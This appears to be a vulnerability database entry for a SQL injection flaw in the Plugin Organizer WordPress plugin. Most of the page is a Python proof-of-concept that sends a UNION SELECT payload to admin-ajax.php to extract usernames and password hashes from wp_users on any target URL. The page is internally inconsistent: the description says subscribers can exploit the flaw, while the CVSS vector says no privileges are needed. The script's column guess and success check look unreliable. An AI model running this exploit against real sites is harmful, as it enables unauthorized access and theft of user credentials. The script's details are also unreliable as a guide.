CVE-2025-13417

Description

The Plugin Organizer WordPress plugin before 10.2.4 does not sanitize and escape a parameter before using it in a SQL statement, allowing subscribers to perform SQL injection attacks.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Plugin Organizer WordPress Plugin < 10.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-13417 PoC - Plugin Organizer SQL Injection
# Target: WordPress site with Plugin Organizer < 10.2.4

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'

# SQL Injection payload to extract user data
# The vulnerable parameter is used in SQL query without sanitization
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_login,user_pass,13,14,15,16,17,18,19,20 FROM wp_users-- -"

# Vulnerable endpoint - plugin organizer ajax handler
url = f"{target}/wp-admin/admin-ajax.php"

data = {
    'action': 'po_get_plugins',
    'orderby': payload,
    'order': 'ASC'
}

print(f"[*] Sending SQL Injection payload to {url}")
print(f"[*] Payload: {payload}")

try:
    response = requests.post(url, data=data, timeout=10)
    if response.status_code == 200:
        print(f"[+] Request sent successfully")
        print(f"[+] Response length: {len(response.text)} bytes")
        # Check for SQL error or data leakage
        if 'wp_users' in response.text or 'user_pass' in response.text:
            print("[!] VULNERABLE - SQL injection successful, data extracted")
        else:
            print("[*] Response received, verify manually")
except requests.exceptions.RequestException as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13417
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13417
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13417/
[4] VulDB https://vuldb.com/cve/CVE-2025-13417
[5] https://wpscan.com/vulnerability/862fdf28-5195-443d-8ef2-e4043d0fdc92/

Raw JSON Data

JSON

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